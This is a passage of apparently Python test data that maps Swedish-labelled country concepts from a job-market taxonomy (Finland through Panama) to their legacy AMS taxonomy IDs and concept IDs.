'country', {'legacy_ams_taxonomy_id': '59', 'type': 'country', 'label': 'Finland', 'concept_id': 'WgbG_whJ_E7J', 'legacy_ams_taxonomy_num_id': 59}),
( {'type': 'country', 'id': 'GN3D_B21_gpD', 'preferred_label': 'Frankrike', 'deprecated_legacy_id': '60'},
'country', {'legacy_ams_taxonomy_id': '60', 'type': 'country', 'label': 'Frankrike', 'concept_id': 'GN3D_B21_gpD', 'legacy_ams_taxonomy_num_id': 60}),
( {'type': 'country', 'id': 'MZtV_bG4_drn', 'preferred_label': 'Guyana', 'deprecated_legacy_id': '62'},
'country', {'legacy_ams_taxonomy_id': '62', 'type': 'country', 'label': 'Guyana', 'concept_id': 'MZtV_bG4_drn', 'legacy_ams_taxonomy_num_id': 62}),
( {'type': 'country', 'id': 'FF6b_T3q_35V', 'preferred_label': 'Franska Polynesien', 'deprecated_legacy_id': '63'},
'country', {'legacy_ams_taxonomy_id': '63', 'type': 'country', 'label': 'Franska Polynesien', 'concept_id': 'FF6b_T3q_35V', 'legacy_ams_taxonomy_num_id': 63}),
( {'type': 'country', 'id': 'Vn3X_9zH_2yn', 'preferred_label': 'Franska Sydterritorierna', 'deprecated_legacy_id': '64'},
'country', {'legacy_ams_taxonomy_id': '64', 'type': 'country', 'label': 'Franska Sydterritorierna', 'concept_id': 'Vn3X_9zH_2yn', 'legacy_ams_taxonomy_num_id': 64}),
( {'type': 'country', 'id': 'QKFb_bvZ_gNY', 'preferred_label': 'Färöarna', 'deprecated_legacy_id': '65'},
'country', {'legacy_ams_taxonomy_id': '65', 'type': 'country', 'label': 'Färöarna', 'concept_id': 'QKFb_bvZ_gNY', 'legacy_ams_taxonomy_num_id': 65}),
( {'type': 'country', 'id': 'FY6e_EBz_sqn', 'preferred_label': 'Gabon', 'deprecated_legacy_id': '66'},
'country', {'legacy_ams_taxonomy_id': '66', 'type': 'country', 'label': 'Gabon', 'concept_id': 'FY6e_EBz_sqn', 'legacy_ams_taxonomy_num_id': 66}),
( {'type': 'country', 'id': 'vbtb_ju1_kUX', 'preferred_label': 'Gambia', 'deprecated_legacy_id': '67'},
'country', {'legacy_ams_taxonomy_id': '67', 'type': 'country', 'label': 'Gambia', 'concept_id': 'vbtb_ju1_kUX', 'legacy_ams_taxonomy_num_id': 67}),
( {'type': 'country', 'id': '7DEB_o2m_bc2', 'preferred_label': 'Georgien', 'deprecated_legacy_id': '68'},
'country', {'legacy_ams_taxonomy_id': '68', 'type': 'country', 'label': 'Georgien', 'concept_id': '7DEB_o2m_bc2', 'legacy_ams_taxonomy_num_id': 68}),
( {'type': 'country', 'id': 'Qgi9_tqh_b2X', 'preferred_label': 'Ghana', 'deprecated_legacy_id': '69'},
'country', {'legacy_ams_taxonomy_id': '69', 'type': 'country', 'label': 'Ghana', 'concept_id': 'Qgi9_tqh_b2X', 'legacy_ams_taxonomy_num_id': 69}),
( {'type': 'country', 'id': '9Lj6_Lrk_83M', 'preferred_label': 'Gibraltar', 'deprecated_legacy_id': '70'},
'country', {'legacy_ams_taxonomy_id': '70', 'type': 'country', 'label': 'Gibraltar', 'concept_id': '9Lj6_Lrk_83M', 'legacy_ams_taxonomy_num_id': 70}),
( {'type': 'country', 'id': 'BRi4_in4_xLc', 'preferred_label': 'Grekland', 'deprecated_legacy_id': '71'},
'country', {'legacy_ams_taxonomy_id': '71', 'type': 'country', 'label': 'Grekland', 'concept_id': 'BRi4_in4_xLc', 'legacy_ams_taxonomy_num_id': 71}),
( {'type': 'country', 'id': 't9U9_e8w_oQi', 'preferred_label': 'Grenada', 'deprecated_legacy_id': '72'},
'country', {'legacy_ams_taxonomy_id': '72', 'type': 'country', 'label': 'Grenada', 'concept_id': 't9U9_e8w_oQi', 'legacy_ams_taxonomy_num_id': 72}),
( {'type': 'country', 'id': '6JQy_Wpf_8RK', 'preferred_label': 'Grönland', 'deprecated_legacy_id': '73'},
'country', {'legacy_ams_taxonomy_id': '73', 'type': 'country', 'label': 'Grönland', 'concept_id': '6JQy_Wpf_8RK', 'legacy_ams_taxonomy_num_id': 73}),
( {'type': 'country', 'id': 'o8tZ_1V3_5do', 'preferred_label': 'Guadeloupe', 'deprecated_legacy_id': '74'},
'country', {'legacy_ams_taxonomy_id': '74', 'type': 'country', 'label': 'Guadeloupe', 'concept_id': 'o8tZ_1V3_5do', 'legacy_ams_taxonomy_num_id': 74}),
( {'type': 'country', 'id': 'UxZz_53F_fcb', 'preferred_label': 'Guam', 'deprecated_legacy_id': '75'},
'country', {'legacy_ams_taxonomy_id': '75', 'type': 'country', 'label': 'Guam', 'concept_id': 'UxZz_53F_fcb', 'legacy_ams_taxonomy_num_id': 75}),
( {'type': 'country', 'id': 'RxXm_KBi_sjp', 'preferred_label': 'Guatemala', 'deprecated_legacy_id': '76'},
'country', {'legacy_ams_taxonomy_id': '76', 'type': 'country', 'label': 'Guatemala', 'concept_id': 'RxXm_KBi_sjp', 'legacy_ams_taxonomy_num_id': 76}),
( {'type': 'country', 'id': 'SYb7_4Rj_9SB', 'preferred_label': 'Guinea', 'deprecated_legacy_id': '77'},
'country', {'legacy_ams_taxonomy_id': '77', 'type': 'country', 'label': 'Guinea', 'concept_id': 'SYb7_4Rj_9SB', 'legacy_ams_taxonomy_num_id': 77}),
( {'type': 'country', 'id': 'BCcY_Z35_kS6', 'preferred_label': 'Guinea-Bissau', 'deprecated_legacy_id': '78'},
'country', {'legacy_ams_taxonomy_id': '78', 'type': 'country', 'label': 'Guinea-Bissau', 'concept_id': 'BCcY_Z35_kS6', 'legacy_ams_taxonomy_num_id': 78}),
( {'type': 'country', 'id': 'dKCz_1XX_ays', 'preferred_label': 'Haiti', 'deprecated_legacy_id': '80'},
'country', {'legacy_ams_taxonomy_id': '80', 'type': 'country', 'label': 'Haiti', 'concept_id': 'dKCz_1XX_ays', 'legacy_ams_taxonomy_num_id': 80}),
( {'type': 'country', 'id': '3XFZ_Hte_nch', 'preferred_label': 'Heardön och McDonaldöarna', 'deprecated_legacy_id': '81'},
'country', {'legacy_ams_taxonomy_id': '81', 'type': 'country', 'label': 'Heardön och McDonaldöarna', 'concept_id': '3XFZ_Hte_nch', 'legacy_ams_taxonomy_num_id': 81}),
( {'type': 'country', 'id': 'is8V_V6o_iyS', 'preferred_label': 'Honduras', 'deprecated_legacy_id': '82'},
'country', {'legacy_ams_taxonomy_id': '82', 'type': 'country', 'label': 'Honduras', 'concept_id': 'is8V_V6o_iyS', 'legacy_ams_taxonomy_num_id': 82}),
( {'type': 'country', 'id': 'H1JH_rYH_LjG', 'preferred_label': 'Hongkong', 'deprecated_legacy_id': '83'},
'country', {'legacy_ams_taxonomy_id': '83', 'type': 'country', 'label': 'Hongkong', 'concept_id': 'H1JH_rYH_LjG', 'legacy_ams_taxonomy_num_id': 83}),
( {'type': 'country', 'id': 'mCdG_xuR_qwD', 'preferred_label': 'Indien', 'deprecated_legacy_id': '84'},
'country', {'legacy_ams_taxonomy_id': '84', 'type': 'country', 'label': 'Indien', 'concept_id': 'mCdG_xuR_qwD', 'legacy_ams_taxonomy_num_id': 84}),
( {'type': 'country', 'id': 'St4p_G3F_MTj', 'preferred_label': 'Indonesien', 'deprecated_legacy_id': '85'},
'country', {'legacy_ams_taxonomy_id': '85', 'type': 'country', 'label': 'Indonesien', 'concept_id': 'St4p_G3F_MTj', 'legacy_ams_taxonomy_num_id': 85}),
( {'type': 'country', 'id': 'LQar_3Jn_BGU', 'preferred_label': 'Irak', 'deprecated_legacy_id': '86'},
'country', {'legacy_ams_taxonomy_id': '86', 'type': 'country', 'label': 'Irak', 'concept_id': 'LQar_3Jn_BGU', 'legacy_ams_taxonomy_num_id': 86}),
( {'type': 'country', 'id': 'wZw5_AY7_RMg', 'preferred_label': 'Iran', 'deprecated_legacy_id': '87'},
'country', {'legacy_ams_taxonomy_id': '87', 'type': 'country', 'label': 'Iran', 'concept_id': 'wZw5_AY7_RMg', 'legacy_ams_taxonomy_num_id': 87}),
( {'type': 'country', 'id': 'cnZp_bhJ_JCZ', 'preferred_label': 'Irland', 'deprecated_legacy_id': '88'},
'country', {'legacy_ams_taxonomy_id': '88', 'type': 'country', 'label': 'Irland', 'concept_id': 'cnZp_bhJ_JCZ', 'legacy_ams_taxonomy_num_id': 88}),
( {'type': 'country', 'id': 'ZDbX_yJc_zin', 'preferred_label': 'Island', 'deprecated_legacy_id': '89'},
'country', {'legacy_ams_taxonomy_id': '89', 'type': 'country', 'label': 'Island', 'concept_id': 'ZDbX_yJc_zin', 'legacy_ams_taxonomy_num_id': 89}),
( {'type': 'country', 'id': 'L2vN_3YW_6jk', 'preferred_label': 'Israel', 'deprecated_legacy_id': '90'},
'country', {'legacy_ams_taxonomy_id': '90', 'type': 'country', 'label': 'Israel', 'concept_id': 'L2vN_3YW_6jk', 'legacy_ams_taxonomy_num_id': 90}),
( {'type': 'country', 'id': 'yTER_v5s_onb', 'preferred_label': 'Italien', 'deprecated_legacy_id': '91'},
'country', {'legacy_ams_taxonomy_id': '91', 'type': 'country', 'label': 'Italien', 'concept_id': 'yTER_v5s_onb', 'legacy_ams_taxonomy_num_id': 91}),
( {'type': 'country', 'id': 'zJ4U_hmd_yei', 'preferred_label': 'Jamaica', 'deprecated_legacy_id': '92'},
'country', {'legacy_ams_taxonomy_id': '92', 'type': 'country', 'label': 'Jamaica', 'concept_id': 'zJ4U_hmd_yei', 'legacy_ams_taxonomy_num_id': 92}),
( {'type': 'country', 'id': 'DBob_NQg_ayR', 'preferred_label': 'Japan', 'deprecated_legacy_id': '93'},
'country', {'legacy_ams_taxonomy_id': '93', 'type': 'country', 'label': 'Japan', 'concept_id': 'DBob_NQg_ayR', 'legacy_ams_taxonomy_num_id': 93}),
( {'type': 'country', 'id': 'nXoR_hvq_TLr', 'preferred_label': 'Jordanien', 'deprecated_legacy_id': '94'},
'country', {'legacy_ams_taxonomy_id': '94', 'type': 'country', 'label': 'Jordanien', 'concept_id': 'nXoR_hvq_TLr', 'legacy_ams_taxonomy_num_id': 94}),
( {'type': 'country', 'id': 'BZuK_352_yAD', 'preferred_label': 'Julön', 'deprecated_legacy_id': '96'},
'country', {'legacy_ams_taxonomy_id': '96', 'type': 'country', 'label': 'Julön', 'concept_id': 'BZuK_352_yAD', 'legacy_ams_taxonomy_num_id': 96}),
( {'type': 'country', 'id': 'cr4o_3L8_hoa', 'preferred_label': 'Jungfruöarna, Brittiska', 'deprecated_legacy_id': '97'},
'country', {'legacy_ams_taxonomy_id': '97', 'type': 'country', 'label': 'Jungfruöarna, Brittiska', 'concept_id': 'cr4o_3L8_hoa', 'legacy_ams_taxonomy_num_id': 97}),
( {'type': 'country', 'id': 's4H2_8bX_V5G', 'preferred_label': 'Jungfruöarna, Förenta Staternas', 'deprecated_legacy_id': '98'},
'country', {'legacy_ams_taxonomy_id': '98', 'type': 'country', 'label': 'Jungfruöarna, Förenta Staternas', 'concept_id': 's4H2_8bX_V5G', 'legacy_ams_taxonomy_num_id': 98}),
( {'type': 'country', 'id': 'a5yX_nAP_GVu', 'preferred_label': 'Kambodja', 'deprecated_legacy_id': '99'},
'country', {'legacy_ams_taxonomy_id': '99', 'type': 'country', 'label': 'Kambodja', 'concept_id': 'a5yX_nAP_GVu', 'legacy_ams_taxonomy_num_id': 99}),
( {'type': 'country', 'id': 'Gx97_r5T_5vJ', 'preferred_label': 'Kamerun', 'deprecated_legacy_id': '100'},
'country', {'legacy_ams_taxonomy_id': '100', 'type': 'country', 'label': 'Kamerun', 'concept_id': 'Gx97_r5T_5vJ', 'legacy_ams_taxonomy_num_id': 100}),
( {'type': 'country', 'id': '4pSd_nND_Buv', 'preferred_label': 'Kanada', 'deprecated_legacy_id': '101'},
'country', {'legacy_ams_taxonomy_id': '101', 'type': 'country', 'label': 'Kanada', 'concept_id': '4pSd_nND_Buv', 'legacy_ams_taxonomy_num_id': 101}),
( {'type': 'country', 'id': '7hV5_ej6_4Ry', 'preferred_label': 'Kap Verde', 'deprecated_legacy_id': '102'},
'country', {'legacy_ams_taxonomy_id': '102', 'type': 'country', 'label': 'Kap Verde', 'concept_id': '7hV5_ej6_4Ry', 'legacy_ams_taxonomy_num_id': 102}),
( {'type': 'country', 'id': 'Jf5g_omQ_YVY', 'preferred_label': 'Kazakstan', 'deprecated_legacy_id': '103'},
'country', {'legacy_ams_taxonomy_id': '103', 'type': 'country', 'label': 'Kazakstan', 'concept_id': 'Jf5g_omQ_YVY', 'legacy_ams_taxonomy_num_id': 103}),
( {'type': 'country', 'id': 'RvV6_URK_zjd', 'preferred_label': 'Kenya', 'deprecated_legacy_id': '104'},
'country', {'legacy_ams_taxonomy_id': '104', 'type': 'country', 'label': 'Kenya', 'concept_id': 'RvV6_URK_zjd', 'legacy_ams_taxonomy_num_id': 104}),
( {'type': 'country', 'id': 'hwyG_7pq_yHR', 'preferred_label': 'Kina', 'deprecated_legacy_id': '105'},
'country', {'legacy_ams_taxonomy_id': '105', 'type': 'country', 'label': 'Kina', 'concept_id': 'hwyG_7pq_yHR', 'legacy_ams_taxonomy_num_id': 105}),
( {'type': 'country', 'id': '6uZH_6X8_8u4', 'preferred_label': 'Kirgizistan', 'deprecated_legacy_id': '106'},
'country', {'legacy_ams_taxonomy_id': '106', 'type': 'country', 'label': 'Kirgizistan', 'concept_id': '6uZH_6X8_8u4', 'legacy_ams_taxonomy_num_id': 106}),
( {'type': 'country', 'id': 'YoNM_eCx_zat', 'preferred_label': 'Kiribati', 'deprecated_legacy_id': '107'},
'country', {'legacy_ams_taxonomy_id': '107', 'type': 'country', 'label': 'Kiribati', 'concept_id': 'YoNM_eCx_zat', 'legacy_ams_taxonomy_num_id': 107}),
( {'type': 'country', 'id': 'UZKB_8TU_Hkn', 'preferred_label': 'Kokosöarna', 'deprecated_legacy_id': '108'},
'country', {'legacy_ams_taxonomy_id': '108', 'type': 'country', 'label': 'Kokosöarna', 'concept_id': 'UZKB_8TU_Hkn', 'legacy_ams_taxonomy_num_id': 108}),
( {'type': 'country', 'id': 'Rgpn_h5Y_u6N', 'preferred_label': 'Kongo, republiken', 'deprecated_legacy_id': '109'},
'country', {'legacy_ams_taxonomy_id': '109', 'type': 'country', 'label': 'Kongo, republiken', 'concept_id': 'Rgpn_h5Y_u6N', 'legacy_ams_taxonomy_num_id': 109}),
( {'type': 'country', 'id': 'STUC_FzH_Ah2', 'preferred_label': 'Nordkorea', 'deprecated_legacy_id': '110'},
'country', {'legacy_ams_taxonomy_id': '110', 'type': 'country', 'label': 'Nordkorea', 'concept_id': 'STUC_FzH_Ah2', 'legacy_ams_taxonomy_num_id': 110}),
( {'type': 'country', 'id': '1dcY_7Gr_ucB', 'preferred_label': 'Sydkorea', 'deprecated_legacy_id': '111'},
'country', {'legacy_ams_taxonomy_id': '111', 'type': 'country', 'label': 'Sydkorea', 'concept_id': '1dcY_7Gr_ucB', 'legacy_ams_taxonomy_num_id': 111}),
( {'type': 'country', 'id': 'kzWw_cdp_PhU', 'preferred_label': 'Kroatien', 'deprecated_legacy_id': '112'},
'country', {'legacy_ams_taxonomy_id': '112', 'type': 'country', 'label': 'Kroatien', 'concept_id': 'kzWw_cdp_PhU', 'legacy_ams_taxonomy_num_id': 112}),
( {'type': 'country', 'id': 'BAGM_XF7_FpH', 'preferred_label': 'Kuba', 'deprecated_legacy_id': '113'},
'country', {'legacy_ams_taxonomy_id': '113', 'type': 'country', 'label': 'Kuba', 'concept_id': 'BAGM_XF7_FpH', 'legacy_ams_taxonomy_num_id': 113}),
( {'type': 'country', 'id': 'NJTY_G1b_vc6', 'preferred_label': 'Kuwait', 'deprecated_legacy_id': '114'},
'country', {'legacy_ams_taxonomy_id': '114', 'type': 'country', 'label': 'Kuwait', 'concept_id': 'NJTY_G1b_vc6', 'legacy_ams_taxonomy_num_id': 114}),
( {'type': 'country', 'id': 'invg_zpk_bHR', 'preferred_label': 'Laos', 'deprecated_legacy_id': '115'},
'country', {'legacy_ams_taxonomy_id': '115', 'type': 'country', 'label': 'Laos', 'concept_id': 'invg_zpk_bHR', 'legacy_ams_taxonomy_num_id': 115}),
( {'type': 'country', 'id': 'QGD8_mTz_JdA', 'preferred_label': 'Lesotho', 'deprecated_legacy_id': '116'},
'country', {'legacy_ams_taxonomy_id': '116', 'type': 'country', 'label': 'Lesotho', 'concept_id': 'QGD8_mTz_JdA', 'legacy_ams_taxonomy_num_id': 116}),
( {'type': 'country', 'id': 'FcoH_7D1_p8H', 'preferred_label': 'Lettland', 'deprecated_legacy_id': '117'},
'country', {'legacy_ams_taxonomy_id': '117', 'type': 'country', 'label': 'Lettland', 'concept_id': 'FcoH_7D1_p8H', 'legacy_ams_taxonomy_num_id': 117}),
( {'type': 'country', 'id': '7P48_RTM_NwH', 'preferred_label': 'Libanon', 'deprecated_legacy_id': '118'},
'country', {'legacy_ams_taxonomy_id': '118', 'type': 'country', 'label': 'Libanon', 'concept_id': '7P48_RTM_NwH', 'legacy_ams_taxonomy_num_id': 118}),
( {'type': 'country', 'id': '5Lt9_xKU_6cC', 'preferred_label': 'Liberia', 'deprecated_legacy_id': '119'},
'country', {'legacy_ams_taxonomy_id': '119', 'type': 'country', 'label': 'Liberia', 'concept_id': '5Lt9_xKU_6cC', 'legacy_ams_taxonomy_num_id': 119}),
( {'type': 'country', 'id': 'ZfuN_DVH_t2R', 'preferred_label': 'Libyen', 'deprecated_legacy_id': '120'},
'country', {'legacy_ams_taxonomy_id': '120', 'type': 'country', 'label': 'Libyen', 'concept_id': 'ZfuN_DVH_t2R', 'legacy_ams_taxonomy_num_id': 120}),
( {'type': 'country', 'id': 'dL9B_ubn_9KN', 'preferred_label': 'Liechtenstein', 'deprecated_legacy_id': '121'},
'country', {'legacy_ams_taxonomy_id': '121', 'type': 'country', 'label': 'Liechtenstein', 'concept_id': 'dL9B_ubn_9KN', 'legacy_ams_taxonomy_num_id': 121}),
( {'type': 'country', 'id': '37nR_YtF_158', 'preferred_label': 'Litauen', 'deprecated_legacy_id': '122'},
'country', {'legacy_ams_taxonomy_id': '122', 'type': 'country', 'label': 'Litauen', 'concept_id': '37nR_YtF_158', 'legacy_ams_taxonomy_num_id': 122}),
( {'type': 'country', 'id': 'eh3o_JnT_ZU7', 'preferred_label': 'Luxemburg', 'deprecated_legacy_id': '123'},
'country', {'legacy_ams_taxonomy_id': '123', 'type': 'country', 'label': 'Luxemburg', 'concept_id': 'eh3o_JnT_ZU7', 'legacy_ams_taxonomy_num_id': 123}),
( {'type': 'country', 'id': 'PRSy_b5B_piv', 'preferred_label': 'Macao', 'deprecated_legacy_id': '124'},
'country', {'legacy_ams_taxonomy_id': '124', 'type': 'country', 'label': 'Macao', 'concept_id': 'PRSy_b5B_piv', 'legacy_ams_taxonomy_num_id': 124}),
( {'type': 'country', 'id': 'Y3iU_QDa_5Js', 'preferred_label': 'Madagaskar', 'deprecated_legacy_id': '125'},
'country', {'legacy_ams_taxonomy_id': '125', 'type': 'country', 'label': 'Madagaskar', 'concept_id': 'Y3iU_QDa_5Js', 'legacy_ams_taxonomy_num_id': 125}),
( {'type': 'country', 'id': 'T3Ui_pa1_2Wc', 'preferred_label': 'Malawi', 'deprecated_legacy_id': '126'},
'country', {'legacy_ams_taxonomy_id': '126', 'type': 'country', 'label': 'Malawi', 'concept_id': 'T3Ui_pa1_2Wc', 'legacy_ams_taxonomy_num_id': 126}),
( {'type': 'country', 'id': 'MRfa_jpt_dmY', 'preferred_label': 'Malaysia', 'deprecated_legacy_id': '127'},
'country', {'legacy_ams_taxonomy_id': '127', 'type': 'country', 'label': 'Malaysia', 'concept_id': 'MRfa_jpt_dmY', 'legacy_ams_taxonomy_num_id': 127}),
( {'type': 'country', 'id': 'yrE7_cE9_cVF', 'preferred_label': 'Maldiverna', 'deprecated_legacy_id': '128'},
'country', {'legacy_ams_taxonomy_id': '128', 'type': 'country', 'label': 'Maldiverna', 'concept_id': 'yrE7_cE9_cVF', 'legacy_ams_taxonomy_num_id': 128}),
( {'type': 'country', 'id': 'dLVN_jSb_YjF', 'preferred_label': 'Mali', 'deprecated_legacy_id': '129'},
'country', {'legacy_ams_taxonomy_id': '129', 'type': 'country', 'label': 'Mali', 'concept_id': 'dLVN_jSb_YjF', 'legacy_ams_taxonomy_num_id': 129}),
( {'type': 'country', 'id': 'u8qF_qpq_R5W', 'preferred_label': 'Malta', 'deprecated_legacy_id': '130'},
'country', {'legacy_ams_taxonomy_id': '130', 'type': 'country', 'label': 'Malta', 'concept_id': 'u8qF_qpq_R5W', 'legacy_ams_taxonomy_num_id': 130}),
( {'type': 'country', 'id': 'wJGU_XXo_28H', 'preferred_label': 'Marocko', 'deprecated_legacy_id': '131'},
'country', {'legacy_ams_taxonomy_id': '131', 'type': 'country', 'label': 'Marocko', 'concept_id': 'wJGU_XXo_28H', 'legacy_ams_taxonomy_num_id': 131}),
( {'type': 'country', 'id': 'mdMy_Gru_gjg', 'preferred_label': 'Marshallöarna', 'deprecated_legacy_id': '132'},
'country', {'legacy_ams_taxonomy_id': '132', 'type': 'country', 'label': 'Marshallöarna', 'concept_id': 'mdMy_Gru_gjg', 'legacy_ams_taxonomy_num_id': 132}),
( {'type': 'country', 'id': 'H5my_Ues_ya3', 'preferred_label': 'Martinique', 'deprecated_legacy_id': '133'},
'country', {'legacy_ams_taxonomy_id': '133', 'type': 'country', 'label': 'Martinique', 'concept_id': 'H5my_Ues_ya3', 'legacy_ams_taxonomy_num_id': 133}),
( {'type': 'country', 'id': '6Er6_yt8_Kzk', 'preferred_label': 'Mauretanien', 'deprecated_legacy_id': '134'},
'country', {'legacy_ams_taxonomy_id': '134', 'type': 'country', 'label': 'Mauretanien', 'concept_id': '6Er6_yt8_Kzk', 'legacy_ams_taxonomy_num_id': 134}),
( {'type': 'country', 'id': 'wcHy_zcL_tUt', 'preferred_label': 'Mauritius', 'deprecated_legacy_id': '135'},
'country', {'legacy_ams_taxonomy_id': '135', 'type': 'country', 'label': 'Mauritius', 'concept_id': 'wcHy_zcL_tUt', 'legacy_ams_taxonomy_num_id': 135}),
( {'type': 'country', 'id': 'aBL1_wh8_qgu', 'preferred_label': 'Mayotte', 'deprecated_legacy_id': '136'},
'country', {'legacy_ams_taxonomy_id': '136', 'type': 'country', 'label': 'Mayotte', 'concept_id': 'aBL1_wh8_qgu', 'legacy_ams_taxonomy_num_id': 136}),
( {'type': 'country', 'id': 'T7Dy_wGz_9vv', 'preferred_label': 'Mexiko/Mexikos förenta stater', 'deprecated_legacy_id': '137'},
'country', {'legacy_ams_taxonomy_id': '137', 'type': 'country', 'label': 'Mexiko/Mexikos förenta stater', 'concept_id': 'T7Dy_wGz_9vv', 'legacy_ams_taxonomy_num_id': 137}),
( {'type': 'country', 'id': 'NXE2_wDm_jtg', 'preferred_label': 'Mikronesiska federationen', 'deprecated_legacy_id': '138'},
'country', {'legacy_ams_taxonomy_id': '138', 'type': 'country', 'label': 'Mikronesiska federationen', 'concept_id': 'NXE2_wDm_jtg', 'legacy_ams_taxonomy_num_id': 138}),
( {'type': 'country', 'id': 'LXPi_qGh_dXN', 'preferred_label': 'Moçambique', 'deprecated_legacy_id': '139'},
'country', {'legacy_ams_taxonomy_id': '139', 'type': 'country', 'label': 'Moçambique', 'concept_id': 'LXPi_qGh_dXN', 'legacy_ams_taxonomy_num_id': 139}),
( {'type': 'country', 'id': 'g8EG_tGy_Y9h', 'preferred_label': 'Moldavien', 'deprecated_legacy_id': '140'},
'country', {'legacy_ams_taxonomy_id': '140', 'type': 'country', 'label': 'Moldavien', 'concept_id': 'g8EG_tGy_Y9h', 'legacy_ams_taxonomy_num_id': 140}),
( {'type': 'country', 'id': 'Rhid_ebP_t7s', 'preferred_label': 'Monaco', 'deprecated_legacy_id': '141'},
'country', {'legacy_ams_taxonomy_id': '141', 'type': 'country', 'label': 'Monaco', 'concept_id': 'Rhid_ebP_t7s', 'legacy_ams_taxonomy_num_id': 141}),
( {'type': 'country', 'id': 'hGXE_Keq_uhh', 'preferred_label': 'Mongoliet', 'deprecated_legacy_id': '142'},
'country', {'legacy_ams_taxonomy_id': '142', 'type': 'country', 'label': 'Mongoliet', 'concept_id': 'hGXE_Keq_uhh', 'legacy_ams_taxonomy_num_id': 142}),
( {'type': 'country', 'id': 'BVxK_CPb_XDd', 'preferred_label': 'Montserrat', 'deprecated_legacy_id': '143'},
'country', {'legacy_ams_taxonomy_id': '143', 'type': 'country', 'label': 'Montserrat', 'concept_id': 'BVxK_CPb_XDd', 'legacy_ams_taxonomy_num_id': 143}),
( {'type': 'country', 'id': 'h8Nc_4cm_SVk', 'preferred_label': 'Myanmar (Burma)', 'deprecated_legacy_id': '144'},
'country', {'legacy_ams_taxonomy_id': '144', 'type': 'country', 'label': 'Myanmar (Burma)', 'concept_id': 'h8Nc_4cm_SVk', 'legacy_ams_taxonomy_num_id': 144}),
( {'type': 'country', 'id': 'UvNn_GZf_GKx', 'preferred_label': 'Namibia', 'deprecated_legacy_id': '145'},
'country', {'legacy_ams_taxonomy_id': '145', 'type': 'country', 'label': 'Namibia', 'concept_id': 'UvNn_GZf_GKx', 'legacy_ams_taxonomy_num_id': 145}),
( {'type': 'country', 'id': 'nrBz_LjD_fC2', 'preferred_label': 'Nauru', 'deprecated_legacy_id': '146'},
'country', {'legacy_ams_taxonomy_id': '146', 'type': 'country', 'label': 'Nauru', 'concept_id': 'nrBz_LjD_fC2', 'legacy_ams_taxonomy_num_id': 146}),
( {'type': 'country', 'id': 'mc3v_dHh_dzf', 'preferred_label': 'Nederländerna', 'deprecated_legacy_id': '147'},
'country', {'legacy_ams_taxonomy_id': '147', 'type': 'country', 'label': 'Nederländerna', 'concept_id': 'mc3v_dHh_dzf', 'legacy_ams_taxonomy_num_id': 147}),
( {'type': 'country', 'id': 'YfAA_stA_Wim', 'preferred_label': 'Nepal', 'deprecated_legacy_id': '149'},
'country', {'legacy_ams_taxonomy_id': '149', 'type': 'country', 'label': 'Nepal', 'concept_id': 'YfAA_stA_Wim', 'legacy_ams_taxonomy_num_id': 149}),
( {'type': 'country', 'id': '9aCc_E74_GW4', 'preferred_label': 'Nicaragua', 'deprecated_legacy_id': '150'},
'country', {'legacy_ams_taxonomy_id': '150', 'type': 'country', 'label': 'Nicaragua', 'concept_id': '9aCc_E74_GW4', 'legacy_ams_taxonomy_num_id': 150}),
( {'type': 'country', 'id': '6mBR_Vzm_hEy', 'preferred_label': 'Niger', 'deprecated_legacy_id': '151'},
'country', {'legacy_ams_taxonomy_id': '151', 'type': 'country', 'label': 'Niger', 'concept_id': '6mBR_Vzm_hEy', 'legacy_ams_taxonomy_num_id': 151}),
( {'type': 'country', 'id': 'pUgR_4E5_Lcb', 'preferred_label': 'Nigeria', 'deprecated_legacy_id': '152'},
'country', {'legacy_ams_taxonomy_id': '152', 'type': 'country', 'label': 'Nigeria', 'concept_id': 'pUgR_4E5_Lcb', 'legacy_ams_taxonomy_num_id': 152}),
( {'type': 'country', 'id': 'iW9P_8kt_BSS', 'preferred_label': 'Niue', 'deprecated_legacy_id': '153'},
'country', {'legacy_ams_taxonomy_id': '153', 'type': 'country', 'label': 'Niue', 'concept_id': 'iW9P_8kt_BSS', 'legacy_ams_taxonomy_num_id': 153}),
( {'type': 'country', 'id': 'JawQ_qCy_XVW', 'preferred_label': 'Norfolkön', 'deprecated_legacy_id': '154'},
'country', {'legacy_ams_taxonomy_id': '154', 'type': 'country', 'label': 'Norfolkön', 'concept_id': 'JawQ_qCy_XVW', 'legacy_ams_taxonomy_num_id': 154}),
( {'type': 'country', 'id': 'QJgN_Zge_BzJ', 'preferred_label': 'Norge', 'deprecated_legacy_id': '155'},
'country', {'legacy_ams_taxonomy_id': '155', 'type': 'country', 'label': 'Norge', 'concept_id': 'QJgN_Zge_BzJ', 'legacy_ams_taxonomy_num_id': 155}),
( {'type': 'country', 'id': 'KCpz_RKA_EYu', 'preferred_label': 'Norra Marianaöarna', 'deprecated_legacy_id': '156'},
'country', {'legacy_ams_taxonomy_id': '156', 'type': 'country', 'label': 'Norra Marianaöarna', 'concept_id': 'KCpz_RKA_EYu', 'legacy_ams_taxonomy_num_id': 156}),
( {'type': 'country', 'id': 'FELd_2Jy_ZCP', 'preferred_label': 'Nya Kaledonien', 'deprecated_legacy_id': '157'},
'country', {'legacy_ams_taxonomy_id': '157', 'type': 'country', 'label': 'Nya Kaledonien', 'concept_id': 'FELd_2Jy_ZCP', 'legacy_ams_taxonomy_num_id': 157}),
( {'type': 'country', 'id': 'Ue2v_DjR_ANf', 'preferred_label': 'Nya Zeeland', 'deprecated_legacy_id': '158'},
'country', {'legacy_ams_taxonomy_id': '158', 'type': 'country', 'label': 'Nya Zeeland', 'concept_id': 'Ue2v_DjR_ANf', 'legacy_ams_taxonomy_num_id': 158}),
( {'type': 'country', 'id': 'XHsS_76L_o2s', 'preferred_label': 'Oman', 'deprecated_legacy_id': '159'},
'country', {'legacy_ams_taxonomy_id': '159', 'type': 'country', 'label': 'Oman', 'concept_id': 'XHsS_76L_o2s', 'legacy_ams_taxonomy_num_id': 159}),
( {'type': 'country', 'id': 'P42X_cky_m8v', 'preferred_label': 'Pakistan', 'deprecated_legacy_id': '160'},
'country', {'legacy_ams_taxonomy_id': '160', 'type': 'country', 'label': 'Pakistan', 'concept_id': 'P42X_cky_m8v', 'legacy_ams_taxonomy_num_id': 160}),
( {'type': 'country', 'id': 'Jtka_2NV_XGQ', 'preferred_label': 'Palau', 'deprecated_legacy_id': '161'},
'country', {'legacy_ams_taxonomy_id': '161', 'type': 'country', 'label': 'Palau', 'concept_id': 'Jtka_2NV_XGQ', 'legacy_ams_taxonomy_num_id': 161}),
( {'type': 'country', 'id': 'knPC_Zwn_w2t', 'preferred_label': 'Panama', 'deprecated_legacy_id': '162'},
